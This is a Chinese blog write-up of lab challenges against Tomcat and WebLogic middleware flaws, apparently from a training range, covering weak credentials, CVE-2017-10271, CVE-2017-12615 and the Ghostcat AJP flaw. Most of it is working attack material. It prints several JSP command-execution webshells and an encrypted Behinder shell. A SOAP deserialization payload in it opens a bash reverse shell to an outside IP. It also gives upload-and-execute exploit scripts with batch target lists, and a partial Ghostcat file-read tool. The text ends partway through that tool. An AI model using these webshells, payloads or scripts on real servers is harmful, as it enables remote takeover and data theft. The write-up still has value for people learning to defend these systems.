安鸾之中间件系列
涂寐 Lv5

声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!
本文首发于涂寐’s Blogs:https://0xtlu.github.io,转载请注明出处!

0x00 tomcat8弱口令

0o00 题目提示

1
2
3
4
5
tomcat8弱口令

题目URL:http://106.15.50.112:18081

提示:flag在网站根目录下!

0o01 测试过程

  • 随便找篇文章查看,访问:http://106.15.50.112:18081/manager/html

  • 弹窗输入账密:tomcat/tomcat

  • jsp 代码

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    <%@ page language="java" contentType="text/html; charset=GBK"
    pageEncoding="UTF-8"%>
    <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
    <html>

    <head>
    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
    <title>一句话木马</title>
    </head>

    <body>
    <%
    if ("admin".equals(request.getParameter("pwd"))) {
    java.io.InputStream input = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
    int len = -1;
    byte[] bytes = new byte[4092];
    out.print("<pre>");
    while ((len = input.read(bytes)) != -1) {
    out.println(new String(bytes, "GBK"));
    }
    out.print("</pre>");
    }
    %>
    </body>

    </html>
  • 制作 war 包,jsp文件压缩成 zip 文件,改后缀为 war。上传站点。

image

  • 部分命令使用。
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    // 看不到 flag 相关文件
    http://106.15.50.112:18081/jsp/jsp.jsp?pwd=admin&cmd=ls

    // 查看当前位置:/usr/local/tomcat
    http://106.15.50.112:18081/jsp/jsp.jsp?pwd=admin&cmd=pwd

    // 不懂 tomcat,直接查找包含 flag 的文件
    http://106.15.50.112:18081/jsp/jsp.jsp?pwd=admin&cmd=find%20/%20-name%20*flag*

    // 拿 flag:flag{828a7a1a2c4bdc5b287f0d0fe72cf0ff}
    http://106.15.50.112:18081/jsp/jsp.jsp?pwd=admin&cmd=cat%20/usr/local/tomcat/webapps/ROOT/this_flag_2c4bdc5b287f0d0f.txt

image

0o02 Tomcat 目录结构

1
2
3
4
5
6
7
8
9
10
11
bin-----存放Tomcat的脚本文件,例如启动、关闭
conf----Tomcat的配置文件,例如server.xml和web.xml
lib-----存放Tomcat运行需要的库文件(JAR包)
logs----存放Tomcat执行时的LOG文件
temp----存放Tomcat运行时所产生的临时文件
webapps-Web发布目录,默认情况下把Web应用文件放于此目录
work----存放jsp编译后产生的class文件
里面一些重要的文件,需要了解其作用:
server.xml:配置tomcat启动的端口号、host主机、Context等
web.xml文件:部署描述文件,这个web.xml中描述了一些默认的servlet,部署每个webapp时,都会调用这个文件,配置该web应用的默认servlet
tomcat-users.xml:tomcat的用户密码与权限。

0x01 Weblogic弱口令&反序列化

0o00 题目提示

1
2
3
4
5
6
7
Weblogic弱口令&反序列化

网站URL:http://106.15.50.112:17001

提示:
本环境存在大量漏洞:
控制台弱口令、CVE-2014-4210、CVE-2017-3506、CVE-2017-10271、CVE-2018-2628、CVE-2019-2725、CVE-2020-14882、CVE-2020-14883

0o01 测试过程

0b00 控制台弱口令

  • 直接访问给的链接,404,听说是正常的。看别人复现吧。
  • 默认后台:http://106.15.50.112:17001/console/login/LoginForm.jsp
  • 默认口令: weblogic / Oracle@123
  • 部署 –> 安装 –> 上载文件 –> 将部署上载到管理服务器 –> 一直下一步到完成。

image

  • 这里是冰蝎马,但还是得 find 。
  • flag 路径:/root/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_user/_appsdir_hello_war/hnt8u/war/this_is_flag7cd3d2fc9cec6901.txt
  • flag:flag{04c89e5c3d0d926f510ba9e8ebd513bf}

image

0b01 CVE-2017-10271

  • CVE-2017-10271 WebLogic XMLDecoder 反序列化漏洞由 WebLogic Server WLS 组件远程命令执行漏洞,由 wls-wsat.war 触发该漏洞。该漏洞可通过构建 post 请求发送恶意 SOAP(xml) 数据,在解析过程中触发该漏洞。
  • 如下页面则可能存在,访问链接http://106.15.50.112:17001/wls-wsat/CoordinatorPortType11

image

  • 构造请求包。
  • GET 请求改为 POST 请求。
  • 添加请求头:Content-Type: text/xml
  • 加上大佬构造成反弹 Shell 的 SOAP 数据。
  • 此处修改反弹 shell 的 bash 命令,改为写马:echo hello whalwl>servers/AdminServer/tmp/_WL_internal/wls-wsat/54p17w/war/hello.txt
  • 服务器路径:/root/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/wls-wsat/54p17w/war/hello.txt
  • 网页链接:http://106.15.50.112:17001/wls-wsat/hello.txt
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    POST /wls-wsat/CoordinatorPortType11 HTTP/1.1
    Host: 106.15.50.112:17001
    Cache-Control: max-age=0
    Upgrade-Insecure-Requests: 1
    Content-Type: text/xml
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.66 Safari/537.36 Edg/103.0.1264.44
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
    Accept-Encoding: gzip, deflate
    Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
    Cookie: type=posttime; Hm_lvt_48042604b3c7a9973810a87540843e34=1656610521,1656611930,1656635518,1656651819; roc_login=a111; roc_secure=ijcS7EUXP2kc7dX6cmEa%252BHh%252BvGfhfh49pUdHpDOaiSo%253D; ADMINCONSOLESESSION=btqbv13Llmvpp98hgvcB01Kdw5rDvXDdsg2VYcXrrPhm081MGkmk!-1333354029; JSESSIONID=lrBMv15Nmclr6jvxvgncp7k0pyGgzl2h1hQN3vRTXzHqycnGq4lm!-1333354029
    Connection: close
    Content-Length: 644

    <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
    <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
    <java version="1.4.0" class="java.beans.XMLDecoder">
    <void class="java.lang.ProcessBuilder">
    <array class="java.lang.String" length="3">
    <void index="0">
    <string>/bin/bash</string>
    </void>
    <void index="1">
    <string>-c</string>
    </void>
    <void index="2">
    <string>bash -i &gt;&amp; /dev/tcp/120.24.241.34/6868 0&gt;&amp;1</string>
    </void>
    </array>
    <void method="start"/></void>
    </java>
    </work:WorkContext>
    </soapenv:Header>
    <soapenv:Body/>
    </soapenv:Envelope>

image

  • 直接拿工具扫不香吗

image

0x02 tomcat任意文件写入

0o00 题目提示

1
2
3
4
5
6
7
tomcat任意文件写入

题目URL:http://106.15.50.112:18082

提示:
1、Tomcat PUT方法任意写文件漏洞(CVE-2017-12615)
2、flag在网站根目录下!

0o01 测试过程

0b00 手工测试

  • 抓取 http://106.15.50.112:18082 界面请求包;
  • GET 请求修改为 PUT 请求;
  • 末尾添加冰蝎 jsp 木马。
  • URL:http://106.15.50.112:18082/shell666.jsp
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    PUT /shell666.jsp/ HTTP/1.1
    Host: 106.15.50.112:18082
    Cache-Control: max-age=0
    Upgrade-Insecure-Requests: 1
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.66 Safari/537.36 Edg/103.0.1264.44
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
    Accept-Encoding: gzip, deflate
    Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
    Cookie: type=posttime; Hm_lvt_48042604b3c7a9973810a87540843e34=1656610521,1656611930,1656635518,1656651819; roc_login=a111; roc_secure=ijcS7EUXP2kc7dX6cmEa%252BHh%252BvGfhfh49pUdHpDOaiSo%253D; ADMINCONSOLESESSION=SyzfvQTGZnSCmkjnnGcV8TJ38v5bGk5m4VkHGmD8gyCDtLTdbQbT!-1333354029; JSESSIONID=CBB3B0EC25E322680209BC5533CDC66E
    Connection: close
    Content-Length: 614

    <%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>

image

0b01 纸机大佬脚本

  • 纸机大佬写的POC

  • 纸机大佬相关文章:https://www.cnblogs.com/confidant/p/15440233.html

    1
    2
    3
    4
    5
    // 单个,注意网址
    python3 CVE-2017-15715-POC.py.py -u http://106.15.50.112 -p 18082

    // 批量
    python3 CVE-2017-15715-POC.py.py -f IP.txt
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    #CVE-2017-12615 POC
    __author__ = '纸机'
    import requests
    import optparse
    import os

    parse = optparse.OptionParser(usage = 'python3 %prog [-h] [-u URL] [-p PORT] [-f FILE]')
    parse.add_option('-u','--url',dest='URL',help='target url')
    parse.add_option('-p','--port',dest='PORT',help='target port[default:8080]',default='8080')
    parse.add_option('-f',dest='FILE',help='target list')

    options,args = parse.parse_args()
    #print(options)
    #验证参数是否完整
    if (not options.URL or not options.PORT) and not options.FILE:
    print('Usage:python3 CVE-2017-12615-POC.py [-u url] [-p port] [-f FILE]\n')
    exit('CVE-2017-12615-POC.py:error:missing a mandatory option(-u,-p).Use -h for basic and -hh for advanced help')

    filename = '/hello.jsp'

    #测试数据
    data = 'hello'

    #提交PUT请求
    #resp = requests.post(url1,headers=headers,data=data)

    #验证文件是否上传成功
    #response = requests.get(url2)
    #上传文件
    def upload(url):
    try:
    response = requests.put(url+filename+'/',data=data)
    return 1
    except Exception as e:
    print("[-] {0} 连接失败".format(url))
    return 0
    def checking(url):
    try:
    #验证文件是否上传成功
    response = requests.get(url+filename)
    #print(url+filename)
    if response.status_code == 200 and 'hello' in response.text:
    print('[+] {0} 存在CVE-2017-12615 Tomcat 任意文件读写漏洞'.format(url))
    else:
    print('[-] {0} 不存在CVE-2017-12615 Tomcat 任意文件读写漏洞'.format(url))
    except Exception as e:
    #print(e)
    print("[-] {0} 连接失败".format(url))
    if options.FILE and os.path.exists(options.FILE):
    with open(options.FILE) as f:
    urls = f.readlines()
    #print(urls)
    for url in urls:
    url = str(url).replace('\n', '').replace('\r', '').strip()
    if upload(url) == 1:
    checking(url)
    elif options.FILE and not os.path.exists(options.FILE):
    print('[-] {0} 文件不存在'.format(options.FILE))
    else:
    #上传链接
    url = options.URL+':'+options.PORT
    if upload(url) == 1:
    checking(url)
  • 纸机大佬写的exp

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    #CVE-2017-12615 EXP
    #python3 CVE-2017-15715-EXP.py.py -u http://106.15.50.112 -p 18082
    __author__ = '纸机'
    import requests
    import optparse
    import time


    parse = optparse.OptionParser(usage = 'python3 %prog [-h] [-u URL] [-p PORT]')
    parse.add_option('-u','--url',dest='URL',help='target url')
    parse.add_option('-p','--port',dest='PORT',help='target port[default:8080]',default='8080')

    options,args = parse.parse_args()
    #验证参数是否完整
    if not options.URL or not options.PORT:
    print('Usage:python3 CVE-2017-12615-POC.py [-u url] [-p port]\n')
    exit('CVE-2017-12615-POC.py:error:missing a mandatory option(-u,-p).Use -h for basic and -hh for advanced help')

    url = options.URL+':'+options.PORT
    filename = '/backdoor.jsp'
    payload = filename+'?pwd=023&i='

    headers = {"User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:93.0) Gecko/20100101 Firefox/93.0"}
    #木马
    data = '''<%
    if("023".equals(request.getParameter("pwd"))){
    java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
    int a = -1;
    byte[] b = new byte[2048];
    out.print("<pre>");
    while((a=in.read(b))!=-1){
    out.println(new String(b));
    }
    out.print("</pre>");
    }

    %>'''
    #上传木马文件
    def upload(url):
    print('[*] 目标地址:'+url)
    try:
    respond = requests.put(url+filename+'/',headers=headers,data = data)
    #print(respond.status_code)
    if respond.status_code == 201 or respond.status_code == 204:
    #print('[*] 目标地址:'+url)
    print('[+] 木马上传成功')
    except Exception as e:
    print('[-] 上传失败')
    return 0

    #命令执行
    def attack(url,cmd):
    try:
    respond = requests.get(url+payload+cmd)
    if respond.status_code == 200:
    print(str(respond.text).replace("<pre>","").replace("</pre>","").strip())

    except Exception as e:
    print('[-] 命令执行错误')
    if upload(url) == 0:
    exit()
    time.sleep(0.5)
    print('输入执行命令(quit退出):')
    while(1):
    cmd = input('>>>')
    if(cmd == 'quit'):
    break
    attack(url,cmd)

image

0b10其他大佬脚本

  • 脚本一把梭
    1
    2
    3
    4
    5
    6
    7
    8
    运行脚本:python3 CVE-2017-12615.py http://106.15.50.112:18082

    http://106.15.50.112:18082/201712615.jsp?pwd=fff&cmd=find%20/%20-name%20*flag*

    http://106.15.50.112:18082/201712615.jsp?pwd=fff&cmd=ls%20-R

    // 拿flag:flag{1835f7ba6689c37d4804bdfdbc4fd70d}
    http://106.15.50.112:18082/201712615.jsp?pwd=fff&cmd=cat%20/usr/local/tomcat/webapps/ROOT/this_flag_6689c37d4804bdfd.txt
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    import requests
    import sys
    import time

    '''
    Usage:
    python CVE-2017-12615.py http://127.0.0.1
    shell: http://127.0.0.1/201712615.jsp?pwd=fff&cmd=whoami
    '''

    def attack(url):
    user_agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
    headers={"User-Agent":user_agent}
    data="""<%
    if("fff".equals(request.getParameter("pwd"))){
    java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
    int a = -1;
    byte[] b = new byte[2048];
    out.print("<pre>");
    while((a=in.read(b))!=-1){
    out.println(new String(b));
    }
    out.print("</pre>");
    }
    %>"""
    try:
    requests.put(url, headers=headers, data=data)

    time.sleep(2)

    verify_response = requests.get(url[:-1], headers=headers)

    if verify_response.status_code == 200:
    print('success')
    else :
    print (verify_response.status_code)

    except :
    "error"

    if __name__ == '__main__':
    target_url = sys.argv[1] + '/201712615.jsp/'

    attack(target_url)
    print ('shell: ' + target_url[:-1])

image

0o02 CVE-2017-12615

  • 漏洞概述:运行在 Windows 操作系统的 Tomcat ,启用 HTTP PUT 请求方法(readonly 初始化参数由默认值 true 设置为 false),则攻击者可构造恶意请求包向服务器上传包含任意代码的 JSP 文件。当JSP文件中的恶意代码被服务器执行时,将导致服务器上的数据泄露或获取服务器权限。
  • 影响范围:Apache Tomcat 7.0.0 - 7.0.79。
  • 漏洞防护:① 设置 conf/webxml 文件的 readOnly 值为 Ture 或注释参数;② 禁用 PUT 方法并重启 tomcat 服务。注:禁用 PUT 方法时,对于依赖 PUT 方法的应用可能会导致业务失效;③ 升级到最新版本;④ 使用WAF产品进行防御。
  • 注:通过对站点的观察:Apache Tomcat/8.5.19;对 URL 大小写判断,初步判断为 Linux 系统;这是扩大范围了?

0x03 Apache Tomcat AJP 文件包含漏洞

0o00 题目提示

1
2
3
4
5
6
7
8
9
10
Apache Tomcat AJP 文件包含漏洞(CVE-2020-1938

题目URL:http://106.15.50.112:18080/whalwl/
ajp端口:18009

Ghostcat(幽灵猫) 是由长亭科技安全研究员发现的存在于 Tomcat 中的安全漏洞,
由于 Tomcat AJP 协议设计上存在缺陷,攻击者通过 Tomcat AJP Connector 可以读取或包含 Tomcat 上所有 webapp 目录下的任意文件,
例如可以读取 webapp 配置文件或源代码。此外在目标应用有文件上传功能的情况下,配合文件包含的利用还可以达到远程代码执行的危害。
这个漏洞影响全版本默认配置下的 Tomcat(在我们发现此漏洞的时候,确认其影响 Tomcat 9/8/7/6 全版本,
而年代过于久远的更早的版本未进行验证),这意味着它在 Tomcat 里已经潜伏了长达十多年的时间。

0o01 测试过程

0b000 版本探测

  • nmap探测
    1
    2
    3
    4
    5
    6
    7
    8
    # 18009端口,Apache Tomcat 9.0.30,满足CVE-2020-1938存在环境
    sudo nmap 106.15.50.112 -p 18080 -sV -sS

    # 18009端口,探测不出服务,被ban
    sudo nmap 106.15.50.112 -p 18009 -sV -sS

    # 整合
    sudo nmap 106.15.50.112 -p 18009,18080 -sV -sS

image

  • 报错探测
    1
    http://106.15.50.112:18080/whalwl/admin

image

0b001 脚本测试

  • AjPy验证工具:https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi
  • 通过python脚本利用AJP BUG读取webapp任意目录下文件,以/WEB-INF/web.xml为例
  • 默认 Python2 环境运行
  • ???路径有问题???修复了???
  • 测试读取不存在文件,报错:HTTP Status 500 – Internal Server Error–>确定:路径问题。
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    python2 CNVD-2020-10487-Tomcat-Ajp-lfi.py 106.15.50.112 -p 18009 -f WEB-INF/web.xml

    # 注
    # python3的使用
    # 听说,如下修改 CNVD-2020-10487-Tomcat-Ajp-lfi.py
    # 测试,没成功
    # 报错:AttributeError: 'Tomcat' object has no attribute 'stream'
    '''
    self.socket.makefile("rb", bufsize=0)
    替换为
    self.socket.makefile("rb", buffering=0)

    print("".join([d.data for d in data]))
    替换为
    print("".join([d.data.decode() for d in data]))
    '''

image

0b010 目录说明

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
# vulhub 漏洞靶机中8080端口的网站根目录
/usr/local/tomcat/webapps/ROOT

# 搭建靶场
# 物理路径:
/usr/local/tomcat/webapps/ROOT/test/CVE-2020-19381.png
# 网络路径
http://192.168.255.130:8080/test/CVE-2020-19381.png

# 修复测试,无法修复
# 注释 conf/server.xml 中的<Connector port=“8009” protocol="AJP/1.3"redirectPort=“8443” />
# 报错,排除靶场漏洞已修复
Traceback (most recent call last):
File "CNVD-2020-10487-Tomcat-Ajp-lfi.py", line 295, in <module>
t = Tomcat(args.target, args.port)
File "CNVD-2020-10487-Tomcat-Ajp-lfi.py", line 261, in __init__
self.socket.connect((target_host, target_port))
File "/usr/lib/python2.7/socket.py", line 228, in meth
return getattr(self._sock,name)(*args)
socket.error: [Errno 111] Connection refused

image

0b011 跨目录问题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
# 目录扫描命令
dirb http://106.15.50.112:18080/

# 结果
+ http://106.15.50.112:18080/docs (CODE:302|SIZE:0)
+ http://106.15.50.112:18080/examples (CODE:302|SIZE:0)
+ http://106.15.50.112:18080/host-manager (CODE:302|SIZE:0)
+ http://106.15.50.112:18080/manager (CODE:302|SIZE:0)

# 又:靶场站点默认路径 http://106.15.50.112:18080/whalwl/
# 推测:/usr/local/tomcat/webapps/whalwl
# 即:ROOT 目录文件与 whalwl 同级
# 又:脚本默认读取 ROOT 目录中文件
# 故:若想读取 webapps 其他目录(如 whalwl)下的文件,需要对脚本进行修改,即问题所在

# 如下代码已修改
# CNVD-2020-10487-Tomcat-Ajp-lfi.py 的 296行:
# _,data = t.perform_request('/asdf',attributes=[
# 修改为
# _,data = t.perform_request('/whalwl/asdf',attributes=[
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
#!/usr/bin/env python
#CNVD-2020-10487 Tomcat-Ajp lfi
#by ydhcui
import struct

# Some references:
# https://tomcat.apache.org/connectors-doc/ajp/ajpv13a.html
def pack_string(s):
if s is None:
return struct.pack(">h", -1)
l = len(s)
return struct.pack(">H%dsb" % l, l, s.encode('utf8'), 0)
def unpack(stream, fmt):
size = struct.calcsize(fmt)
buf = stream.read(size)
return struct.unpack(fmt, buf)
def unpack_string(stream):
size, = unpack(stream, ">h")
if size == -1: # null string
return None
res, = unpack(stream, "%ds" % size)
stream.read(1) # \0
return res
class NotFoundException(Exception):
pass
class AjpBodyRequest(object):
# server == web server, container == servlet
SERVER_TO_CONTAINER, CONTAINER_TO_SERVER = range(2)
MAX_REQUEST_LENGTH = 8186
def __init__(self, data_stream, data_len, data_direction=None):
self.data_stream = data_stream
self.data_len = data_len
self.data_direction = data_direction
def serialize(self):
data = self.data_stream.read(AjpBodyRequest.MAX_REQUEST_LENGTH)
if len(data) == 0:
return struct.pack(">bbH", 0x12, 0x34, 0x00)
else:
res = struct.pack(">H", len(data))
res += data
if self.data_direction == AjpBodyRequest.SERVER_TO_CONTAINER:
header = struct.pack(">bbH", 0x12, 0x34, len(res))
else:
header = struct.pack(">bbH", 0x41, 0x42, len(res))
return header + res
def send_and_receive(self, socket, stream):
while True:
data = self.serialize()
socket.send(data)
r = AjpResponse.receive(stream)
while r.prefix_code != AjpResponse.GET_BODY_CHUNK and r.prefix_code != AjpResponse.SEND_HEADERS:
r = AjpResponse.receive(stream)

if r.prefix_code == AjpResponse.SEND_HEADERS or len(data) == 4:
break
class AjpForwardRequest(object):
_, OPTIONS, GET, HEAD, POST, PUT, DELETE, TRACE, PROPFIND, PROPPATCH, MKCOL, COPY, MOVE, LOCK, UNLOCK, ACL, REPORT, VERSION_CONTROL, CHECKIN, CHECKOUT, UNCHECKOUT, SEARCH, MKWORKSPACE, UPDATE, LABEL, MERGE, BASELINE_CONTROL, MKACTIVITY = range(28)
REQUEST_METHODS = {'GET': GET, 'POST': POST, 'HEAD': HEAD, 'OPTIONS': OPTIONS, 'PUT': PUT, 'DELETE': DELETE, 'TRACE': TRACE}
# server == web server, container == servlet
SERVER_TO_CONTAINER, CONTAINER_TO_SERVER = range(2)
COMMON_HEADERS = ["SC_REQ_ACCEPT",
"SC_REQ_ACCEPT_CHARSET", "SC_REQ_ACCEPT_ENCODING", "SC_REQ_ACCEPT_LANGUAGE", "SC_REQ_AUTHORIZATION",
"SC_REQ_CONNECTION", "SC_REQ_CONTENT_TYPE", "SC_REQ_CONTENT_LENGTH", "SC_REQ_COOKIE", "SC_REQ_COOKIE2",
"SC_REQ_HOST", "SC_REQ_PRAGMA", "SC_REQ_REFERER", "SC_REQ_USER_AGENT"
]
ATTRIBUTES = ["context", "servlet_path", "remote_user", "auth_type", "query_string", "route", "ssl_cert", "ssl_cipher", "ssl_session", "req_attribute", "ssl_key_size", "secret", "stored_method"]
def __init__(self, data_direction=None):
self.prefix_code = 0x02
self.method = None
self.protocol = None
self.req_uri = None
self.remote_addr = None
self.remote_host = None
self.server_name = None
self.server_port = None
self.is_ssl = None
self.num_headers = None
self.request_headers = None
self.attributes = None
self.data_direction = data_direction
def pack_headers(self):
self.num_headers = len(self.request_headers)
res = ""
res = struct.pack(">h", self.num_headers)
for h_name in self.request_headers:
if h_name.startswith("SC_REQ"):
code = AjpForwardRequest.COMMON_HEADERS.index(h_name) + 1
res += struct.pack("BB", 0xA0, code)
else:
res += pack_string(h_name)

res += pack_string(self.request_headers[h_name])
return res

def pack_attributes(self):
res = b""
for attr in self.attributes:
a_name = attr['name']
code = AjpForwardRequest.ATTRIBUTES.index(a_name) + 1
res += struct.pack("b", code)
if a_name == "req_attribute":
aa_name, a_value = attr['value']
res += pack_string(aa_name)
res += pack_string(a_value)
else:
res += pack_string(attr['value'])
res += struct.pack("B", 0xFF)
return res
def serialize(self):
res = ""
res = struct.pack("bb", self.prefix_code, self.method)
res += pack_string(self.protocol)
res += pack_string(self.req_uri)
res += pack_string(self.remote_addr)
res += pack_string(self.remote_host)
res += pack_string(self.server_name)
res += struct.pack(">h", self.server_port)
res += struct.pack("?", self.is_ssl)
res += self.pack_headers()
res += self.pack_attributes()
if self.data_direction == AjpForwardRequest.SERVER_TO_CONTAINER:
header = struct.pack(">bbh", 0x12, 0x34, len(res))
else:
header = struct.pack(">bbh", 0x41, 0x42, len(res))
return header + res
def parse(self, raw_packet):
stream = StringIO(raw_packet)
self.magic1, self.magic2, data_len = unpack(stream, "bbH")
self.prefix_code, self.method = unpack(stream, "bb")
self.protocol = unpack_string(stream)
self.req_uri = unpack_string(stream)
self.remote_addr = unpack_string(stream)
self.remote_host = unpack_string(stream)
self.server_name = unpack_string(stream)
self.server_port = unpack(stream, ">h")
self.is_ssl = unpack(stream, "?")
self.num_headers, = unpack(stream, ">H")
self.request_headers = {}
for i in range(self.num_headers):
code, = unpack(stream, ">H")
if code > 0xA000:
h_name = AjpForwardRequest.COMMON_HEADERS[code - 0xA001]
else:
h_name = unpack(stream, "%ds" % code)
stream.read(1) # \0
h_value = unpack_string(stream)
self.request_headers[h_name] = h_value
def send_and_receive(self, socket, stream, save_cookies=False):
res = []
i = socket.sendall(self.serialize())
if self.method == AjpForwardRequest.POST:
return res

r = AjpResponse.receive(stream)
assert r.prefix_code == AjpResponse.SEND_HEADERS
res.append(r)
if save_cookies and 'Set-Cookie' in r.response_headers:
self.headers['SC_REQ_COOKIE'] = r.response_headers['Set-Cookie']

# read body chunks and end response packets
while True:
r = AjpResponse.receive(stream)
res.append(r)
if r.prefix_code == AjpResponse.END_RESPONSE:
break
elif r.prefix_code == AjpResponse.SEND_BODY_CHUNK:
continue
else:
raise NotImplementedError
break

return res

class AjpResponse(object):
_,_,_,SEND_BODY_CHUNK, SEND_HEADERS, END_RESPONSE, GET_BODY_CHUNK = range(7)
COMMON_SEND_HEADERS = [
"Content-Type", "Content-Language", "Content-Length", "Date", "Last-Modified",
"Location", "Set-Cookie", "Set-Cookie2", "Servlet-Engine", "Status", "WWW-Authenticate"
]
def parse(self, stream):
# read headers
self.magic, self.data_length, self.prefix_code = unpack(stream, ">HHb")

if self.prefix_code == AjpResponse.SEND_HEADERS:
self.parse_send_headers(stream)
elif self.prefix_code == AjpResponse.SEND_BODY_CHUNK:
self.parse_send_body_chunk(stream)
elif self.prefix_code == AjpResponse.END_RESPONSE:
self.parse_end_response(stream)
elif self.prefix_code == AjpResponse.GET_BODY_CHUNK:
self.parse_get_body_chunk(stream)
else:
raise NotImplementedError

def parse_send_headers(self, stream):
self.http_status_code, = unpack(stream, ">H")
self.http_status_msg = unpack_string(stream)
self.num_headers, = unpack(stream, ">H")
self.response_headers = {}
for i in range(self.num_headers):
code, = unpack(stream, ">H")
if code <= 0xA000: # custom header
h_name, = unpack(stream, "%ds" % code)
stream.read(1) # \0
h_value = unpack_string(stream)
else:
h_name = AjpResponse.COMMON_SEND_HEADERS[code-0xA001]
h_value = unpack_string(stream)
self.response_headers[h_name] = h_value

def parse_send_body_chunk(self, stream):
self.data_length, = unpack(stream, ">H")
self.data = stream.read(self.data_length+1)

def parse_end_response(self, stream):
self.reuse, = unpack(stream, "b")

def parse_get_body_chunk(self, stream):
rlen, = unpack(stream, ">H")
return rlen

@staticmethod
def receive(stream):
r = AjpResponse()
r.parse(stream)
return r

import socket

def prepare_ajp_forward_request(target_host, req_uri, method=AjpForwardRequest.GET):
fr = AjpForwardRequest(AjpForwardRequest.SERVER_TO_CONTAINER)
fr.method = method
fr.protocol = "HTTP/1.1"
fr.req_uri = req_uri
fr.remote_addr = target_host
fr.remote_host = None
fr.server_name = target_host
fr.server_port = 80
fr.request_headers = {
'SC_REQ_ACCEPT': 'text/html',
'SC_REQ_CONNECTION': 'keep-alive',
'SC_REQ_CONTENT_LENGTH': '0',
'SC_REQ_HOST': target_host,
